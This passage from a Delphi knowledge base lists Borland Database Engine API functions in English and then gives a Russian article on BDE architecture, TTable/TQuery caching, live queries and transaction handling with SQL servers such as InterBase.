Prepares a SQL or QBE query for execution, and returns a handle to a statement containing
the prepared query.

DbiQPrepareProc:
Prepares and optionally binds parameters for a stored procedure.

DbiQSetParams:
Associates data with parameter markers embedded within a prepared query.

DbiQSetProcParams:
Binds parameters for a stored procedure prepared with DbiQPrepareProc.

DbiSetProp:
Sets the specified property of an object to a given value.

DbiValidateProp:
Validates a property.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Работа с таблицами

Each function listed below returns information about a specific table, such as all the locks acquired on the table, all the referential integrity links on the table, the indexes open on the table, or whether or not the table is shared. Functions in this category can also perform a table-wide operation, such as copying and deleting.

DbiBatchMove:
Appends, updates, subtracts, and copies records or fields from a source table to a destination table.

DbiCopyTable:
Duplicates the specified source table to a destination table.

DbiCreateInMemTable:
Creates a temporary, in-memory table.

DbiCreateTable:
Creates a table.

DbiCreateTempTable:
Creates a temporary table that is deleted when the cursor is closed, unless the call is followed
by a call to DbiMakePermanent.

DbiDeleteTable:
Deletes a table.

DbiDoRestructure:
Changes the properties of a table.

DbiEmptyTable:
Deletes all records from the table associated with the specified table cursor handle or table name.

DbiGetTableOpenCount:
Returns the total number of cursors that are open on the specified table.

DbiGetTableTypeDesc:
Returns a description of the capabilities of the table type for the driver type.

DbiIsTableLocked:
Returns the number of locks of a specified type acquired on the table associated with the
given session.

DbiIsTableShared:
Determines whether the table is physically shared or not.

DbiMakePermanent:
Changes a temporary table created by DbiCreateTempTable into a permanent table.

DbiOpenFamilyList:
Creates an in-memory table listing the family members associated with a specified table.

DbiOpenFieldList:
Creates an in-memory table listing the fields in a specified table and their descriptions.

DbiOpenIndexList:
Opens a cursor on an in-memory table listing the indexes on a specified table, along with
their descriptions.

DbiOpenLockList:
Creates an in-memory table containing a list of locks acquired on the table associated with the cursor.

DbiOpenRintList:
Creates an in-memory table listing the referential integrity links for a specified table, along with
their descriptions.

DbiOpenSecurityList:
Creates an in-memory table listing record-level security information about a specified table.

DbiOpenTable:
Opens the given table for access and associates a cursor handle with the opened table.

DbiPackTable:
Optimizes table space by rebuilding the table associated with the cursor and releasing any free space.

DbiQInstantiateAnswer:
Creates a permanent table from a cursor handle.

DbiRegenIndexes:
Regenerates all out-of-date indexes on a given table.

DbiRenameTable:
Renames the table and all of its resources to the new name specified.

DbiSaveChanges:
Forces all updated records associated with the table to disk.

DbiSortTable:
Sorts an opened or closed table, either into itself or into a destination table. There are options to
remove duplicates, to enable case-insensitive sorts and special sort functions, and to control the
number of records sorted.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Доступ к данным

Each function listed below accesses data in a table, such as retrieving data from a specified BLOB field or from the record buffer.

DbiAppendRecord:
Appends a record to the end of the table associated with the given cursor.

DbiDeleteRecord:
Deletes the current record of the given cursor.

DbiFreeBlob:
Closes the BLOB handle located within the specified record buffer.

DbiGetBlob:
Retrieves data from the specified BLOB field.

DbiGetBlobHeading:
Retrieves information about a BLOB field from the BLOB heading in the record buffer.

DbiGetBlobSize:
Retrieves the size of the specified BLOB field in bytes.

DbiGetField:
Retrieves the data contents of the requested field from the record buffer.

DbiGetFieldDescs:
Retrieves a list of descriptors for all the fields in the table associated with the cursor.

DbiGetFieldTypeDesc:
Retrieves a description of the specified field type.

DbiInitRecord:
Initializes the record buffer to a blank record according to the data types of the fields.

DbiInsertRecord:
Inserts a new record into the table associated with the given cursor.

DbiModifyRecord:
Modifies the current record of table associated with the cursor with the data supplied.

DbiOpenBlob:
Prepares the cursor's record buffer to access a BLOB field.

DbiPutBlob:
Writes data into an open BLOB field.

DbiPutField:
Writes the field value to the correct location in the supplied record buffer.

DbiReadBlock:
Reads a specified number of records (starting from the next position of the cursor) into a buffer.

DbiSaveChanges:
Forces all updated records associated with the cursor to disk.

DbiSetFieldMap:
Sets a field map of the table associated with the given cursor.

DbiTruncateBlob:
Shortens the size of the contents of a BLOB field, or deletes the contents of a BLOB field
from the record, by shortening it to zero.

DbiUndeleteRecord:
Undeletes a dBASE record that has been marked for deletion (a "soft" delete).

DbiVerifyField:
Verifies that the data specified is a valid data type for the field specified, and that all validity
checks in place for the field are satisfied. It can also be used to check if a field is blank.

DbiWriteBlock:
Writes a block of records to the table associated with the cursor.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Управление транзакциями

Each function listed below begins, ends, or inquires about the status of a transaction.

DbiBeginTran:
Begins a transaction.

DbiEndTran:
Ends a transaction.

DbiGetTranInfo:
Retrieves the transaction state.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Схемы и возможности

Each function listed below returns information about capabilities or the schema.

DbiOpenCfgInfoList:
Returns a handle to an in-memory table listing all the nodes in the configuration file accessible by
the specified path.

DbiOpenDatabaseList:
Creates an in-memory table containing a list of accessible databases and their descriptions.

DbiOpenDriverList:
Creates an in-memory table containing a list of driver names available to the client application.

DbiOpenFamilyList:
Creates an in-memory table listing the family members associated with a specified table.

DbiOpenFieldList:
Creates an in-memory table listing the fields in a specified table and their descriptions.

DbiOpenFieldTypesList:
Creates an in-memory table containing a list of field types supported by the table type for the driver type.

DbiOpenFunctionArgList:
Returns a list of arguments to a data source function.

DbiOpenFunctionList:
Returns a description of a data source function.

DbiOpenIndexList:
Opens a cursor on an in-memory table listing the indexes on a specified table, along with
their descriptions.

DbiOpenIndexTypesList:
Creates an in-memory table containing a list of all supported index types for the driver type.

DbiOpenLockList:
Creates an in-memory table containing a list of locks acquired on the table.

DbiOpenRintList :
Creates an in-memory table listing the referential integrity links for a specified table, along with
their descriptions.

DbiOpenSecurityList:
Creates an in-memory table listing record-level security information about a specified table.

DbiOpenTableList:
Creates an in-memory table with information about all the tables accessible to the client application.

DbiOpenTableTypesList:
Creates an in-memory table listing table type names for the given driver.

DbiOpenVchkList:
Creates an in-memory table containing records with information about validity checks for fields
within the specified table.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Работа с форматами данных

Each function listed below sets or retrieves date or time, or decodes/encodes date and time into or from a timestamp.

DbiBcdFromFloat:
Converts FLOAT data to binary coded decimal (BCD) format.

DbiBcdToFloat:
Converts binary coded decimal (BCD) data to FLOAT format.

DbiDateDecode:
Decodes DBIDATE into separate month, day and year components.

DbiDateEncode:
Encodes separate date components into date for use by DbiPutField and other functions.

DbiGetDateFormat:
Gets the date format for the current session.

DbiGetNumberFormat:
Gets the number format for the current session.

DbiGetTimeFormat:
Gets the time format for the current session.

DbiSetDateFormat:
Sets the date format for the current session.

DbiSetNumberFormat:
Sets the number format for the current session.

DbiSetTimeFormat:
Sets the time format for the current session.

DbiTimeDecode:
Decodes time into separate components (hours, minutes, milliseconds).

DbiTimeEncode:
Encodes separate time components into time for use by DbiPutField and other functions.

DbiTimeStampDecode:
Extracts separate encoded date and time components from the timestamp.

DbiTimeStampEncode:
Encodes the encoded date and encoded time into a timestamp.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Архитектура BDE (статья)

Архитектура BDE и его особенности при работе с SQL-серверами

Этот материал основан на изучении документации и справочных материалов по BDE и на собственном опыте. На самом деле информация из этого документа частично появлялась и раньше как в FAQ Borland так и в материалах других авторов (в частности Epsylon Technologies). Однако до сих пор большое количество разработчиков используют BDE. Но в последнее время все больше людей работают с SQL-серверами, и более популярными становятся компоненты прямого доступа - IBObjects/FreeIBComponents/IBExpress, Direct Oracle Access и другие. Кроме того, BDE не будет поддерживать Interbase 6.0 (диалект 3), да и вообще похоже, прекратит свое существование. В Delphi 6 наряду со старым BDE и в Kylix (Delphi и C++Builder для Linux) будет использоваться другая библиотека - dbExpress. Поэтому, чтобы поставить жирную точку (или крест, как хотите) на BDE, я и решил написать этот документ.
В большей степени этот текст напоминает то, что я читал на курсах по Delphi и разработке баз данных 3-4 года назад. Привет вам, курсанты! Можете прочитать этот документ хотя бы для того, чтобы освежить память.

Введение

Для начала вернемся лет на 10 назад. В те времена на компьютерах властвовали настольные СУБД - dBase, Paradox, FoxPro, Clipper и т.п. SQL-сервера в основном работали на мэйнфреймах. Среди форматов настольных СУБД был полный разнобой, и например, хотя Clipper, FoxPro и dBase работали с форматом DBF, использовать таблицы друг друга они фактически не могли из-за мелких, но существенных различий. Обмениваться данными в те времена между разными СУБД можно было разве что при помощи импорта-экспорта. Многие компании понимали, что так дальше продолжаться не может. Некоторые встраивали в свои продукты несколько "движков", но это приводило к распуханию продукта, да и чаще всего пользователи работали только с одним форматом данных, а не несколькими одновременно.
В 1990-м году Borland приобрел компанию Ashton-Tate, а вместе с ней и dBase (и Interbase). Таким образом у Borland появилось две настольные СУБД, с совершенно разными форматами - dBase и Paradox. Понятно, что для дальнейшего развития этих продуктов усилия по развитию форматов данных и работы с ними фактически удваивались. И в частности поэтому было принято решение создать некое универсальное ядро доступа к данным, которое могло бы работать с несколькими форматами данных единым образом. Созданию такого ядра также способствовало появление Windows, а следовательно и разделяемых библиотек - DLL. Можно было выпускать несколько продуктов, используя одни и те же dll доступа к данным. Это вполне соответствовало объектно-ориентированной концепции разработки ПО, которая не только использовалась в Turbo Pascal и в Turbo C++, но и при разработке собственных приложений Borland, таких как dBase, Paradox и Quattro (все для Windows).

примечание:
дальнейшая информация по датам взята из документа, подзаголовок "Evolution of BDE/IDAPI Technology: 1990 - 94".

Технология была названа Open Database Application Programming Interface - ODAPI, и впервые была использована в Quattro Pro 1.0 for Windows в сентябре 1992 года. В январе 1993-го эта же версия ODAPI 1.0 была использована в Paradox 1.0 for Windows, а затем и в dBase 1.0 for Windows. ODAPI пока поддерживал только форматы dBase и Paradox, и мог выполнять запросы к обоим форматам при помощи механизма Query By Example (QBE), пришедшего из Paradox for DOS.
справка:
драйверы ODBC 1.0 от Microsoft впервые появились в августе 1993 года.

Информация из MSDN.
Всего через полгода, в сентябре 1993, ODAPI 1.1 уже поддерживала работу с SQL-серверами Interbase, Oracle, Sybase и Microsoft.
Версия 2.0 была переименована в IDAPI (слово Open было заменено на Integrated), и работами по расширению и стандартизации этого интерфейса уже занимался не только Borland, а целый комитет с IBM, Novell и Wordperfect включительно. В этой версии появился Local SQL - ядро для выполнения запросов SQL к локальным форматам данных, и IDAPtor - механизм для подключения ODBC-драйверов к IDAPI.
Последняя 16-ти разрядная версия IDAPI 2.5 использовалась в Delphi 1. Далее, начиная с 3.0 (12 января 1996 года в составе Paradox 5.0 for Windows), пошли 32-разрядные версии. Собственно, на этом развитие функциональности BDE закончилось. Добавлялись новые драйверы для доступа к SQL-серверам DB2, Informix, в BDE 3.5 появились кэшированные обновления (CachedUpdates), появился драйвер FoxPro и сопряжение с DAO, но все это происходило на протяжении достаточно длительного срока - с 1996 по 2000.
С одной стороны, функциональность BDE можно назвать даже избыточной. С другой стороны повлияла конкуренция со стороны Microsoft, стандарта ODBC. Собственно, по функциональности ODBC является подмножеством BDE, но Microsoft в те годы предпринимала очень активные действия по продвижению ODBC, и главным в этом был выпуск ODBC SDK, с помощью которого любая фирма могла разработать собственный ODBC-драйвер (надо сказать, что в те годы их было огромное количество, причем большинство было весьма низкого качества и невысокой производительности). А BDE был более "закрытым". Например, BDE SDK так и не увидел свет, и был доступен разве что избранным (я оказался в их числе, и надо сказать, что качество BDE SDK и удобство написания драйверов было на высоте). С третьей стороны, к этому времени WordPerfect был куплен Novell, Paradox также был продан Novell, а затем Corel, а IBM похоже просто потеряла к IDAPI интерес.
Короче, комитет IDAPI распался, а Microsoft задавил конкуренцией.
Несмотря на перечисленные негативные моменты, BDE активно использовался не только самим Borland, но и многими другими фирмами. Это Novell (продукт InForms), ReportSmith (впоследствии купленный и проданный Borland), CrystalReports (вплоть до версии 5.0 использовал BDE) и так далее.

Архитектура

Увлекшись историей я немного пропустил, зачем все это (BDE) делалось. Частичная цель упоминалась выше - предоставить универсальное ядро доступа к локальным форматам данных. Основная - обеспечить прозрачную работу приложений как с локальными форматами, так и с SQL-серверами. Как сейчас помню, что именно удобство при работе с SQL-серверами рекламировалось как основное. Однако в последние 2-3 года именно эта возможность вызывала наибольшее количество нареканий. Давайте рассмотрим архитектуру BDE.

Основная работа с BDE производится посредством внешнего интерфейса IDAPI (IDAPI32.DLL). Формат данных выбирается в псевдониме (alias) соединения, и в принципе дальше работа с разными форматами ничем не отличается. В том числе и неважно, как работает приложение с BDE - через компоненты VCL DB, которые используют функции BDE, или напрямую (все равно компоненты используют те же функции BDE).

Дальше функции IDAPI транслируют вызовы в функции соответствующего драйвера. Если это драйвер локального формата (dBase, Paradox, FoxPro), то драйвер формата сам работает с соответствующими файлами (таблицами и индексами). Если это SQL Link, то вызовы транслируются в вызовы функций API клиентской части конкретного SQL-сервера. Для каждого сервера SQL Link свой.
IDAPTOR (соединитель с ODBC) и интерфейс к DAO работает точно также как и SQL Link, т.е. просто транслирует вызовы BDE в вызовы ODBC или DAO, непосредственно к формату не имея никакого отношения.

Если посмотреть на файлы BDE, то можно подробно рассмотреть его составные части.
IDAPI32.DLL
Основной интерфейс
BLW32.DLL, BANTAM.DLL
Языковые функции
*.BTL
Файлы с языковыми кодировками.
IDBAT32.DLL
Операции пакетного копирования данных
IDDR32.DLL
Модуль работы с Data Repository
IDASCI32.DLL
Драйвер для работы с текстовым форматом
IDDAO32.DLL
Драйвер трансляции вызовов к DAO
IDODBC32.DLL
Драйвер трансляции вызовов к ODBC
IDPDX32.DLL
Драйвер для работы с форматом Paradox
IDDBAS32.DLL
Драйвер для работы с форматом dBase и FoxPro
IDQBE32.DLL
Ядро обработки запросов QBE
IDSQL32.DLL
Ядро обработки запросов SQL
SQLINT32.DLL
SQLLink-драйвер трансляции вызовов к Interbase API
SQLORA32.DLL
SQLLink-драйвер трансляции вызовов к Oracle Call Level Interface
SQL*32.DLL
Другие SQLLink-драйверы

Таким образом, при установке BDE "лишние" файлы можно без проблем выкинуть.
Также, надеюсь, понятно, почему BDE "не работает" с SQL-сервером, если не установлена клиентская часть этого сервера (то же самое по отношению к DAO - без дистрибутива DAO BDE не будет работать с файлами MS Access). Вообще клиентские части SQL-серверов несовместимы между собой абсолютно. Поэтому невозможно написать универсальный SQL Link.

Данный рисунок и список файлов, возможно, развеет популярный миф о том, что Delphi хорошо приспособлена для работы с Interbase. Как видите, Interbase для Delphi столь же равноправен, как скажем, Oracle или любой ODBC-драйвер. В отличие от продуктов Microsoft в BDE нет никаких "обходных" функций для работы со своими форматами, т.е. работа с IB ведется только через SQL Link (без sqlint32.dll BDE вообще не знает, что такое Interbase).
Отдельное место в архитектуре BDE и среди упомянутых файлов занимают Local SQL и QBE Engine. Эти механизмы запросов будут рассмотрены чуть дальше.

TTable и TQuery

TTable и TQuery являются основными компонентами, используемыми при программировании приложений баз данных (TStoredProc не в счет, и без него можно прекрасно обойтись, вызывая процедуры через select или execute в компоненте TQuery). TTable предоставляет доступ как к таблицам, а TQuery позволяет выполнять произвольные запросы. Если с TQuery все понятно - он выполняет тот запрос, который написан в свойстве TQuery.SQL - то TTable скрывает очень много подробностей своей работы от программиста. Без SQL Monitor увидеть все тонкости невозможно (если кто не знает - SQL Monitor находится в меню Database).

Итак, запустите Delphi, откройте SQL Monitor, положите на форму компонент TDatabase, подсоединитесь к серверу, затем положите компонент TTable, присоедините его к алиасу TDatabase и выберите любую таблицу из списка (свойство TableName). Переключитесь на SQL Monitor, сотрите все что там появилось, переключитесь обратно, и включите TTable.Active:=True; Смотрим в SQL Monitor (лог с самого начала):
· первым запросом BDE хочет убедиться, что выбранная нами таблица существует.
· второй запрос выбирает список полей выбранной таблицы, их названий, типов, условий проверки и т.п.
· третий запрос выбирает информацию об индексах указанной таблицы. Определяется, есть ли среди них первичный ключ, и по каким полям построены индексы.
· четвертый запрос почти повторяет второй, и выбирает информацию о полях - условия проверки, "вычисляемость" поля, допустимость NULL и прочее.
· собственно, пятый запрос открывает таблицу, формируя запрос SELECT FIELD1, FIELD2, ... FROM TABLE ORDER BY PK_FIELD ASC.
·
Заметьте, что подобные запросы выполняются каждый раз при открытии таблицы (любой) компонентом TTable. Перечитывания этих данных можно избежать, если включить у используемого алиаса параметр ENABLE SCHEMA CACHE. При этом считанную первый раз информацию BDE размещает на диске в указанном каталоге (SCHEMA CACHE DIR) в специальном файле, кэширует информацию для SCHEMA CACHE SIZE количества таблиц, и держит эту информацию в кэше в течение SCHEMA CACHE TIME секунд (если -1, то вечно). Если структуры таблиц закэшированы, то при их изменении на сервере (например, добавили новое поле) приложение будет работать со старой структурой, что может вызвать серьезные проблемы в работе приложения. SCHEMA CACHE нужно использовать только тогда, когда структура базы данных определена окончательно и не изменяется. Если все же очень сильно хочется использовать кэширование структур таблиц, то не забывайте правильно установить параметр SCHEMA CACHE TIME. Или при первом за день подключении приложения к серверу сначала кэширование структур можно выключить, отсоединиться, включить и подсоединиться снова - таким образом в самом начале работы кэш структур таблиц будет создан, и будет использоваться в течение дня.

примечание:
параметры SCHEMA CACHE не имеют абсолютно никакого отношения к механизму Cached Updates или к кэшированию данных.

Вернемся к запросу, которым TTable открыл таблицу. В конце запроса стоит указание порядка сортирвки - ORDER BY FIELD ASC. По умолчанию TTable сортирует данные в порядке поля первичного ключа. И кстати, если пользоваться свойством TTable.IndexName, то все равно к запросу будет добавляться ORDER BY INDEXFIELD ASC. Таким образом получается, что свойство IndexName при работе с SQL-серверами бессмыслено. Вместо него нужно просто использовать свойство IndexFieldNames. Даже если в этом свойстве указать поле, по которому нет индекса, то все равно BDE "прицепит" к запросу ORDER BY FIELD ASC. Кстати, BDE абсолютно игнорирует направление индекса, и всегда в запросе добавляет ASC, даже если индекс по этому полю создан как DESCENDING (по убыванию). Получается, что отсортировать таблицу в TTable по убыванию нельзя.

примечание:
можно было бы отнести этот недостаток на SQL Link для IB, но вполне возможно что просто TTable не в состоянии кэшировать и обновлять данные, отсортированные по убыванию (см. дальше о кэше данных).

Кэширование данных

Как видно из предыдущего раздела, TTable работает с таблицами сервера не каким-то хитрым образом, а формируя самые нормальные SQL-запросы. И тут начинается самое интересное. Оказывается, при выполнении запроса сервер выдает записи клиенту (приложению) по очереди и по одной записи. Причем только "сверху вниз". Как только записи на сервере кончились, сервер сообщает клиенту об этом сигналом EOF вместо выдачи очередной записи. Конечно, в некоторых современных серверах есть произвольное позиционирование и проход по выборке не только сверху вниз но и в обратном порядке, но это требует от сервера достаточно больших ресурсов.

примечание:
разумеется, клиентская часть SQL-сервера может принимать записи от сервера "пачками". Но в любом случае получение записи инициируется только вызовом функции fetch, и по этой команде "выбирается" только одна запись. Т.е. приложение получает записи по одной независимо от того, буферизируются они на сервере/клиенте или нет.

Поскольку BDE - вещь универсальная, то он должен обеспечить возможность перемещения по записям вверх и вниз независимо от сервера. Т.е. он должен обеспечивать кэширование записей самостоятельно. Взял запись с сервера - положил в кэш. Это означает, что если вы открыли таблицу в 100 тысяч записей, и нажали в гриде Ctrl-End, то все 100 тысяч записей "приедут" к вам на клиентский компьютер. С таким пожиранием ресурсов надо как то бороться. Если в TQuery можно ограничить количество выбираемых записей условиями запроса, то в TTable этого сделать нельзя, поскольку как мы уже видели, TTable формирует запросы самостоятельно.

Живой и мертвый кэш, или TTable и TQuery

Для решения проблем кэширования TTable было введено два разных механизма кэширования. Для TTable - "живой" кэш, а для TQuery - "мертвый". Для простоты лучше сначала рассмотреть "мертвый" кэш. Вообще тут и рассматривать нечего - при перемещении по записям записи помещаются в кэш. Как только все записи помещены (пользователь "доехал" до конца выборки каким-либо способом), обращения к серверу прекращаются, и любые передвижения пользователя по записям совершаются только в кэше.
У "мертвого" кэша есть побочный эффект - если вызвать метод Locate для поиска записи, то TQuery принудительно выберет все записи в кэш, и только потом будет искать нужную запись в кэше. Собственно, пока запись не считана, неизвестно - попадает она под условие Locate или нет. Поэтому другим способом здесь искать записи невозможно.
"Мертвый" кэш существует до тех пор, пока запрос не будет закрыт (TQuery.Close).
Живой кэш более сложен, и для его понимания придется использовать чуть больше компонент на уже открытой в Delphi форме. Добавьте к TDatabase и TTable компоненты TDataSource и TDBGrid. Grid растяните по вертикали так, чтобы в нем было видно штук 5 записей (7, или 9, не больше). Желательно чтобы в таблице при этом было не меньше 20-30 записей. Поместите кнопку рядом с Grid-ом, в которой на OnClick напишите
Table1.IndexFieldNames := 'FIELD';

где FIELD - любое имя поля открытой таблицы, главное чтобы не поле первичного ключа. Наличие индекса по этому полю не обязательно.
Скомпилируйте приложение, запустите его (не забыв запустить SQL Monitor). Поместите курсор грида посередине, как показано на рисунке (на содержимое грида не обращайте внимания - у вас оно будет совершенно другим, в зависимости от выбранной таблицы).
Сотрите все в SQL Monitor. И нажмите кнопку Button1. Теперь возвращаемся к началу лога в SQL Monitor:
· первый запрос выбирает значение поля, по которому нужно отсортировать данные.
· второй запрос выбирает данные от текущей записи и "выше" - см добавку WHERE FIELD < ? ORDER BY FIELD DESC
· третий запрос выбирает запись, которую нужно поместить на место текущей (выборка запомненного первым запросом значения). Кстати, этот запрос у меня почему-то выполнился аж три раза (BDE 5.1.1). Раньше он обычно выполнялся всего один раз.
· четвертый запрос выбирает данные от текущей записи и ниже - см. добавку WHERE FIELD > ? ORDER BY FIELD ASC
Вот это и есть "живой" кэш. Т.е. при любых операциях перемещения по набору данных, отличных от перемещения на одну запись (или PageUp/PageDown) вверх или вниз, TTable уничтожает текущий кэш, перечитывает данные столь экзотическим образом, и создает новую копию кэша. По количеству вызовов isc_dsql_fetch вы можете понять, что как "вверх" так и "вниз" от текущей записи второй и четвертый запросы выбрали ровно столько записей, сколько помещается в Grid. Если вы продолжите движение курсором по одной строке вверх или вниз, то увидите каким способом (зачастую неэффективным) BDE довыбирает необходимые записи (особенно неэффективность проявляется при движении вверх).
Если же курсор находится вверху или внизу грида, то вместо трех запросов отображения данных будет два - выборка текущей записи и выборка записей только вверх или вниз от текущей записи.
Существенный момент - выборка "вверх" всегда использует сортировку по убыванию. Если по полю сортировки нет индекса по убыванию, то Interbase (или другой сервер) будет сортировать результат в памяти или на диске, что существенно медленнее сортировки с использованием индекса. Поэтому "резкие" перемещения, например в конец таблицы при помощи Ctrl-End будут приводить к значительной паузе, пока сервер отсортирует данные и выдаст резульат. Повысить скорость в этом случае можно только использованием ClientDataSet, который сортирует кэш вместо выдачи серверу SQL-запросов.
Locate в живом кэше в отличие от мертвого кэша выполняется намного быстрее, т.к. TTable применяет ту же самую технику очистки кэша для поиска нужной записи.

Фильтрация

Фильтрация TTable и TQuery происходит с учетом живого или мертвого кэша. Для TTable при наложении фильтра конструируется соответствующий SQL-запрос, а TQuery производит фильтрацию буквально при помощи Locate (т.е. сначала выбираются все записи в кэш, а затем идет фильтрация уже в кэше).

О вреде UNIQUE constraint

В Interbase уникальность поля можно обеспечить тремя способами: создать первичный ключ, создать unique constraint, и создать уникальный индекс. Но при чем здесь Interbase? А при том, что BDE открывает TTable по умолчанию с использованием уникального индекса. Если таблица одновременно содержит как первичный ключ, так и unique constraint, то в результате у таблицы 2 уникальных индекса. При обращении к списку индексов TTable берет для сортировки по умолчанию первый попавшийся. Если уникальность поля обеспечивается обычным уникальным индексом, то проблем нет. А вот если та же уникальность обеспечивается через UNIQUE constraint, то при backup/restore базы данных есть шанс что порядковые номера индексов поменяются (поскольку для IB это constraint целостности), и BDE будет брать в качестве первого попавшегося индекс от unique constraint вместо индекса от primary key. Вреда от этого, в общем, никакого нет, но в результате это вызывает нежелательный порядок сортировки по умолчанию в приложениях.

"Живые" запросы

Если способность TTable редактировать и удалять записи ни у кого не вызывает удивления, то TQuery требует, чтобы свойство RequestLive было установлено в True. Если при False запрос отправлялся непосредственно на сервер, то при True запрос предварительно обрабатывается локальным SQL (модуль IDSQL32.DLL). Это необходимо для того, чтобы TQuery смог сформировать запросы INSERT/UPDATE/DELETE на основании заданного SELECT. Для TTable построение таких запросов не представляет сложности, т.к. задано только имя таблицы, имена полей считаны и т.п. А существующий SQL-запрос нужно синтаксически разобрать, чтобы понять, сколько в нем используется таблиц, какие выбираются поля и из каких таблиц, и можно ли вообще сформировать запросы на вставку, обновление и удаление данных.

Именно таким разбором SQL и занимается Local SQL. Разумеется, он поддерживает весьма ограниченный синтаксис SQL, что не позволяет делать "живыми" запросы, использующие расширенные конструкции SQL, пользовательские функции или специфические для конкретного сервера особенности. Например, для организации живого запроса вместо

SELECT * FROM TABLE
WHERE FIELD STARTING WITH 'A'

придется писать

SELECT * FROM TABLE
WHERE FIELD LIKE 'A%'

Подобную замену еще можно пережить, но не всегда возможно найти замену конструкции, которую не понимает Local SQL, и прекрасно понимает сервер.

примечание:

вы сами можете убедиться в изложенном, поместив первый запрос в TQuery, переключив RequestLive в True. Попытайтесь установить Active компонента в True и посмотрите что получится.

Собственно, как вы поняли, на самом деле никаких "живых" запросов не существует. В SQL оператор SELECT выполняет только чтение, а вставить, обновить или удалить записи можно только операторами INSERT, UPDATE и DELETE, и никак иначе.

При переключении TQuery.RequestLive:=True TQuery начинает вести себя как TTable - т.е. он сначала разбирает запрос, извлекает оттуда имя таблицы, и потом выбирает информацию из системных таблиц о полях таблицы, индексах и т.п. Вы можете все это увидеть в SQL Monitor.

Кроме RequestLive можно еще воспользоваться и компонентом UpdateSQL. Об этом см. дальше в разделе CachedUpdates.

SQLQUERYMODE

Кроме RequestLive на выполнение запросов влияет и параметр алиаса или драйвера IB SQLQUERYMODE. Когда этот параметр установлен в LOCAL, BDE всегда производит разбор SQL-конструкций при помощи Local SQL. Если параметр установлен в "пусто", то BDE сначала пытается отправить SQL на сервер, а при получении ошибки пытается выполнить его Local SQL. При установленном параметре SERVER запросы всегда отправляются только на сервер (за исключением "живых").

Таким образом, при установке LOCAL запросы будут всегда выполняться локальным ядром SQL BDE, и функциональность SQL IB будет недоступна (не будут выполняться запросы с containing и др. синтаксисом, который не поддерживает Local SQL). Избавиться от такого поведения лучше всего установив раз и навсегда значение SERVER.

Refresh и атомарность запросов

Читатель уже после информации о живом и мертвом кэше, наверное, давно хочет спросить - а как же BDE видит новые записи, добавляемые другими приложениями? Да никак. С TTable все понятно - в любой момент можно вызвать refrech, что приведет к удалению "живого" кэша и переоткрытию TTable как мы уже видели в разделе о кэшах записей. TTable перед своим закрытием запоминает запись, на которой стоял курсор грида, и поэтому после открытия может спозиционироваться на эту же запись.

TQuery работает с "мертвым" кэшем, поэтому обновлять его невозможно. BDE не знает о том, какое из полей в запросе является первичным ключом, да и вообще по скольким таблицам построен запрос. Поэтому единственным вариантом для refresh является переоткрытие TQuery (Close/Open). Текущая запись при этом будет потеряна. Можно, правда, попытаться использовать TBookmark чтобы запомнить запись и вернуться к ней после открытия TQuery, но как и Locate это вызовет выборку всех записей с сервера в кэш TQuery и при большом количестве выбираемых записей может занять длительное время.

примечание:

Даже если компонент IBX IBTable и поддерживает Refresh, то он его выполняют точно таким же образом, что и BDE. А компонент IBDataSet выполняет Refresh только для одной, текущей, записи.

В чтение актуальных данных вмешивается еще и атомарность операторов SQL. Применительно к SELECT это означает, что он будет выбирать только те записи, которые существовали на момент выполнения этого SELECT. Это означает, что если открыть TQuery, а затем через 5 минут подсоединить его к гриду, то в нем будут видны только те записи, которые были в базе данных 5 минут назад. Даже если за это время это же самое приложение в этой же транзакции успело добавить, изменить или удалить 1 или сколь угодно большее количество записей, попадающих под условия выборки данного SELECT.

В буквальном смысле это означает, что если вставить запись в открытый select, то увидеть новую запись нельзя. Для этого придется переоткрыть запрос. По отношению к TQuery это справедливо, а вот TTable "обманывает" пользователя, помещая данные успешно вставленной записи прямо в свой собственный кэш. Таким образом, вставка в TTable как бы помещает данные прямо в открытую выборку. Чего, собственно, на самом деле на сервере не происходит.

Вообще перечитывание данных почти всегда вызывает проблемы. Сервер не уведомляет клиентов, что определенные записи изменились, появились или были удалены. EventAlerter может сообщить только информацию что некое событие (например, была изменена таблица) произошло, но не "номер записи". В многопользовательской среде перечитывание данных по таймеру может вызвать большой сетевой трафик. Да и кроме того, клиент обычно видит в гриде только какую-то часть данных, и идеальным вариантом было бы не только узнать, что в именно этой части данных произошли изменения, но и перечитать только эту часть. В итоге, самым разумным вариантом является помещение в приложение на нужную форму кнопки Refresh (Перечитать). Пусть пользователь решает, когда ему нужно это сделать.

примечание:

в отличие от атомарного SELECT, оператор FOR SELECT внутри процедур IB не является атомарным. Т.е. если в цикле FOR SELECT добавлять записи, то они могут попасть в область видимости FOR SELECT, и может произойти "бесконечный цикл". Также в IB неатомарной является конструкция INSERT INTO ... SELECT FROM.

Завершение транзакций

BDE устроен так, что компонент TDatabase может работать только с одной транзакцией одновременно. При этом может быть два режима - неявная работа с транзакциями (AUTOCOMMIT, NOAUTOCOMMIT), и явная работа с транзакциями (методы StartTransaction, Commit и Rollback). В режиме AUTOCOMMIT BDE самостоятельно завершает транзакцию и стартует новую при любых модификациях данных (insert/update/delete) или при вызове TStoredProc.ExecProc. Таким образом изменения автоматически сохраняются в базе данных. Однако чтение данных и вообще работа с ними может быть выполнена только в контексте транзакции. Т.е. вне транзакции с данными работать нельзя, т.к. не будет обеспечиваться целостность данных. При этом данные, прочитанные в одной транзакции, неактуальны для другой транзакции. Если посмотреть справку BDE32.HLP по функции dbiEndTran, то можно обнаружить, что BDE при завершении явной или неявной транзакции ведет себя следующим образом:

открытый query довыбирает данные.

открытый table закрывается

другие случаи я не упомянул, потому что IB SQL Link их не поддерживает. То есть при любом завершении транзакции (и открытии новой) данные будут перечитываться. Для TTable это не смертельно, т.к. он знает первичный ключ записи, на которой стоял курсор грида, и может перечитать немного данных, чтобы заново отобразить их. А вот для TQuery, который не знает никаких первичных ключей, происходит полная выборка всех данных, что эквивалентно вызову Locate, FetchAll или Last. Так что если ваше приложение при обновлении данных почему-то сильно тормозит, или возникают паузы, то нужно срочно смотреть в SQL Monitor, какие именно запросы перечитываются.

примечание:

